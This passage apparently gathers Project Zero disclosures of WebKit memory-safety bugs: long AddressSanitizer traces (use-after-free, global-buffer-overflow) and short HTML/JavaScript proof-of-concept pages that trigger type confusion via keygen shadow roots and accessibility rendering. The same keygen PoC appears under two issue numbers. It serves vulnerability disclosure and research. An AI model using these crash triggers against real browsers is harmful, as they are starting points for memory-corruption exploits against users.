#15 0x108de9e4f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d0e4f)
#16 0x108cd52f1 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7bc2f1)
#17 0x108ce4ebf in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7cbebf)
#18 0x108bf105f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d805f)
#19 0x108bebdae in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d2dae)
#20 0x108f57481 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3e481)
#21 0x108f5496a in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3b96a)
#22 0x108c098ed in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6f08ed)
#23 0x10910721d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbee21d)
#24 0x108ca018c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78718c)
#25 0x108c645ef in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74b5ef)
#26 0x10876f577 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256577)
#27 0x10876a479 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x251479)
#28 0x10acc2f84 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27a9f84)
#29 0x101662f95 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8def95)
#30 0x1016625aa in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de5aa)
#31 0x1010126a9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28e6a9)
#32 0x100e320a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xae0a8)
#33 0x100e3b274 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb7274)
#34 0x1062d3964 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1836964)
#35 0x1062d427e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x183727e)
#36 0x7fff96c637e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
#37 0x7fff96c42f1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
#38 0x7fff96c4243e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
#39 0x7fff96c41e37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
#40 0x7fff8cad1934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
#41 0x7fff8cad176e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
#42 0x7fff8cad15ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
#43 0x7fff8a8fcdf5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
#44 0x7fff8a8fc225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
#45 0x7fff8a8f0d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
#46 0x7fff8a8ba367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
#47 0x7fff82c7c193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
#48 0x7fff82c7abbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
#49 0x100d69b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
#50 0x7fff8a7fa5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)
0x60c0000a2c50 is located 16 bytes inside of 128-byte region [0x60c0000a2c40,0x60c0000a2cc0)
freed by thread T0 here:
#0 0x103345db9 in wrap_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4adb9)
#1 0x10632602b in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x188902b)
#2 0x109148b53 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2fb53)
#3 0x109145d00 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cd00)
#4 0x109145b80 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cb80)
#5 0x108ef9f98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e0f98)
#6 0x108efa80e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e180e)
#7 0x109163a0d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc4aa0d)
#8 0x1088827d8 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3697d8)
#9 0x108882442 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x369442)
#10 0x108881f38 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x368f38)
#11 0x108884536 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x36b536)
#12 0x10a364e8b in WebCore::Node::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e4be8b)
#13 0x109ba6f87 in WebCore::JSNode::appendChild(JSC::ExecState&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168df87)
#14 0x109ba4021 in WebCore::jsNodePrototypeFunctionAppendChildCaller(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168b021)
#15 0x109ba0572 in long long WebCore::BindingCaller<WebCore::JSNode>::callOperation<&(WebCore::jsNodePrototypeFunctionAppendChildCaller(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1687572)
#16 0x109ba041e in WebCore::jsNodePrototypeFunctionAppendChild(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168741e)
#17 0x2e505aa01027 (<unknown module>)
#18 0x105d07e9a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126ae9a)
#19 0x105d014da in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12644da)
#20 0x1059a1c5d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf04c5d)
#21 0x105908033 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xe6b033)
#22 0x104f718d1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d48d1)
#23 0x104f719fb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d49fb)
#24 0x104f71d46 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d4d46)
#25 0x1095a9e2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1090e2e)
#26 0x109894c66 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x137bc66)
#27 0x108dea325 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d1325)
#28 0x108de9e4f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d0e4f)
#29 0x108db3275 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x89a275)
previously allocated by thread T0 here:
#0 0x103345bf0 in wrap_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4abf0)
#1 0x10631af5e in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187df5e)
#2 0x1062b4f75 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1817f75)
#3 0x1091334b0 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1a4b0)
#4 0x1091337d3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1a7d3)
#5 0x109148b53 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2fb53)
#6 0x109145d00 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cd00)
#7 0x109145b80 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cb80)
#8 0x108ef9f98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e0f98)
#9 0x108efa25c in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e125c)
#10 0x10913ae30 in WebCore::HTMLFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc21e30)
#11 0x10920b5c7 in WebCore::HTMLTextFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xcf25c7)
#12 0x1091639f8 in WebCore::HTMLInputElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc4a9f8)
#13 0x108893436 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x37a436)
#14 0x1088932d8 in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x37a2d8)
#15 0x108882697 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x369697)
#16 0x1088810ba in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3680ba)
#17 0x1090de9dc in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbc59dc)
#18 0x1090d7947 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbbe947)
#19 0x109108828 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbef828)
#20 0x1091083e2 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbef3e2)
#21 0x109107614 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbee614)
#22 0x10910906d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbf006d)
#23 0x108b6e4a1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6554a1)
#24 0x108ca0138 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x787138)
#25 0x108c645ef in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74b5ef)
#26 0x10876f577 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256577)
#27 0x10876a479 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x251479)
#28 0x10acc2f84 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27a9f84)
#29 0x101662f95 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8def95)
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2be27) in WebCore::HTMLFormElement::reset()
Shadow bytes around the buggy address:
0x1c1800014530: fc fc fc fc fc fc fc fc fa fa fa fa fa fa fa fa
0x1c1800014540: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x1c1800014550: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x1c1800014560: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
0x1c1800014570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c1800014580: fa fa fa fa fa fa fa fa fd fd[fd]fd fd fd fd fd
0x1c1800014590: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x1c18000145a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
0x1c18000145b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x1c18000145c0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x1c18000145d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1963==ABORTING
-->
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994
Chrome bug:
https://bugs.chromium.org/p/chromium/issues/detail?id=666246
PoC:
-->
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1038
There is a type confusion vulnerability that affects WebKit with accessibility enabled (WebCore::AXObjectCache::gAccessibilityEnabed).
PoC:
===============================
-->
<script>
function boom() {
m.append("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
m.setAttribute("aria-labeledby", "t");
d.open = false;
}
</script>
<body onload=boom()>
<title id="t">foo</title>
<menu id="m">
<details id="d" open="true">
<!--
===============================
Bad cast happens in RenderBox.h in
inline RenderBox* RenderBox::firstChildBox() const
{
return downcast<RenderBox>(firstChild());
}
The function expects that the first child is going to be of type RenderBox, but in the PoC it is actually of type RenderText.
This was tested on WebKitGTK+ 2.14.2 (latest stable version at this time). The PoC also crashes Safari on Mac, but only if the PoC is run while the Web Inspector / Error Console are enabled. It appears this behavior is caused by the fact that opening inspector enables accessibility features (via a call to AXObjectCache::enableAccessibility), while accessibility features are enabled in WebKitGTK+ by default through WebPageAccessibilityObjectAtk.
ASAN log follows.
=================================================================
==5530==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd724fdca78 at pc 0x7fd72289499f bp 0x7ffc9e7a40b0 sp 0x7ffc9e7a40a8
READ of size 8 at 0x7fd724fdca78 thread T0
#0 0x7fd72289499e in WebCore::RenderBox::computeBlockDirectionMargins(WebCore::RenderBlock const&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3260:21
#1 0x7fd7228a00b1 in WebCore::RenderBox::computeAndSetBlockDirectionMargins(WebCore::RenderBlock const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3270:5
#2 0x7fd7227faa45 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:660:5
#3 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
#4 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
#5 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
#6 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
#7 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
#8 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
#9 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
#10 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
#11 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
#12 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
#13 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
#14 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
#15 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
#16 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
#17 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
#18 0x7fd722c7d92f in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderView.cpp:244:5
#19 0x7fd722c7ee64 in WebCore::RenderView::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderView.cpp:370:9
#20 0x7fd72221b17b in WebCore::FrameView::layout(bool) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/page/FrameView.cpp:1438:9
#21 0x7fd721495fe2 in WebCore::Document::updateLayout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2007:9
#22 0x7fd7214a2801 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2039:5
#23 0x7fd721579993 in WebCore::Element::innerText() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Element.cpp:2518:5
